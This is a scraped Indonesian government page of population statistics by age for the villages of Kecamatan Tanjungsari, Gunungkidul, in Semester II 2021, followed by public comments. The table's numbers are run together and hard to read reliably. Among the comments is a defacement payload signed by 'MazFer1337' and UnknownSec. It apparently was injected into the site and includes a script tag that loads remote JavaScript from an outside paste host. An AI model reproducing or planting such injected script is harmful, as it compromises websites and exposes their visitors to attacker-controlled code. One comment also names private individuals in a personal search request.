Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN TANJUNGSARI, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaHARGOSARIKEMIRIKEMADANGBANJAREJONGESTIREJOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun5154 1055143 947279 1514442 863549 84253 267 520
2 tahun3627 632726 534142 833820 582327 50165 142 307
3 tahun2831 592518 432938 671925 442232 54123 144 267
4 tahun3321 543117 484339 823030 604123 64178 130 308
5 tahun3547 821819 374550 954431 753240 72174 187 361
6 tahun3738 754516 615046 963626 622628 54194 154 348
7 tahun2931 602330 534137 784033 731724 41150 155 305
8 tahun4039 792329 525531 863432 664730 77199 161 360
9 tahun3933 723414 484233 753836 743023 53183 139 322
10 tahun3544 792330 534653 994741 882044 64171 212 383
11 tahun3232 643229 614262 1044232 743132 63179 187 366
12 tahun2928 572933 625053 1034028 683734 71185 176 361
13 tahun3327 603536 715259 1114027 673638 74196 187 383
14 tahun3824 622719 464541 863132 635130 81192 146 338
15 tahun2935 643123 543732 693324 573632 68166 146 312
16 tahun2933 623218 505943 1023036 663735 72187 165 352
17 tahun3529 643129 605938 972829 573126 57184 151 335
18 tahun3922 613219 513734 713534 694138 79184 147 331
19 tahun2628 542627 533540 752826 543433 67149 154 303
20 tahun3221 533124 554351 944345 884043 83189 184 373
21 tahun3828 663230 625148 994029 694131 72202 166 368
22 tahun3432 663124 555352 1053637 733737 74191 182 373
23 tahun3632 682336 595239 914142 833432 66186 181 367
24 tahun3040 702829 575439 933230 624336 79187 174 361
25 tahun3834 723829 675851 1093536 715439 93223 189 412
26 tahun4840 882419 435758 1153845 833644 80203 206 409
27 tahun3547 822829 575658 1143334 673231 63184 199 383
28 tahun4544 892636 624054 944333 763529 64189 196 385
29 tahun4338 812732 596060 1202753 803735 72194 218 412
30 tahun3941 803236 685147 985235 873137 68205 196 401
31 tahun3943 823224 564548 933341 743029 59179 185 364
32 tahun3934 732025 455049 992930 593328 61171 166 337
33 tahun2336 592334 575345 983345 782328 51155 188 343
34 tahun3334 672126 473645 812831 592633 59144 169 313
35 tahun3932 712823 514631 773920 592833 61180 139 319
36 tahun3346 793933 724951 1004235 773838 76201 203 404
37 tahun4841 894432 765548 1033941 805656 112242 218 460
38 tahun5750 1073730 675860 1183935 743738 75228 213 441
39 tahun4843 914732 796445 1095551 1065859 117272 230 502
40 tahun4043 833133 644656 1025436 904454 98215 222 437
41 tahun4633 794123 645740 975338 915642 98253 176 429
42 tahun6142 1033541 765566 1214451 954540 85240 240 480
43 tahun4743 902533 584844 924538 834947 96214 205 419
44 tahun3130 613434 683545 804039 794647 93186 195 381
45 tahun5752 1092832 605054 1043358 915843 101226 239 465
46 tahun5644 1002431 554450 943654 905361 114213 240 453
47 tahun4832 803043 735148 993848 863445 79201 216 417
48 tahun4357 1003835 735462 1165873 1315553 108248 280 528
49 tahun3434 684235 776468 1325149 1005444 98245 230 475
50 tahun2134 554943 926576 1414538 834949 98229 240 469
51 tahun3537 723434 684866 1146748 1155743 100241 228 469
52 tahun3951 904544 897457 1315755 1125747 104272 254 526
53 tahun5151 1023343 768261 1435246 985640 96274 241 515
54 tahun3734 713133 644441 853948 873539 74186 195 381
55 tahun3735 722225 473759 963540 753536 71166 195 361
56 tahun3538 732943 724448 924341 842659 85177 229 406
57 tahun2338 613217 494040 803948 872526 51159 169 328
58 tahun4047 873739 764849 975158 1094042 82216 235 451
59 tahun2722 492329 524452 962939 684739 86170 181 351
60 tahun3335 681524 394043 834028 683326 59161 156 317
61 tahun3251 832546 714264 1063454 883958 97172 273 445
62 tahun2134 553445 794539 842432 563128 59155 178 333
63 tahun3631 672435 593055 853349 823346 79156 216 372
64 tahun2628 541422 363534 693244 763036 66137 164 301
65 tahun2342 652624 503938 773136 674128 69160 168 328
66 tahun3237 692233 553238 704942 913835 73173 185 358
67 tahun2533 582321 442929 582532 572830 58130 145 275
68 tahun2426 501927 463231 632239 613534 69132 157 289
69 tahun2420 441821 393530 653432 662014 34131 117 248
70 tahun3834 722530 553527 623028 583433 67162 152 314
71 tahun3027 572724 513136 674246 883337 70163 170 333
72 tahun1519 342325 482022 422322 451726 4398 114 212
73 tahun1728 451821 393128 592424 482134 55111 135 246
74 tahun1621 371119 302021 412720 471220 3286 101 187
75 tahun1216 281737 541318 311424 382016 3676 111 187
76 tahun1515 301326 391826 442139 602434 5891 140 231
77 tahun614 201114 2539 12615 211116 2737 68 105
78 tahun1419 331125 361621 371224 361420 3467 109 176
79 tahun1919 38913 222023 431520 351618 3479 93 172
80 ke atas70137 20760132 19295151 24681160 24181141 222387 721 1.108
Jumlah2.7662.8625.6282.2942.4124.7063.6023.6947.2962.9623.0876.0492.9082.9805.888 14.532 15.035 29.567
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih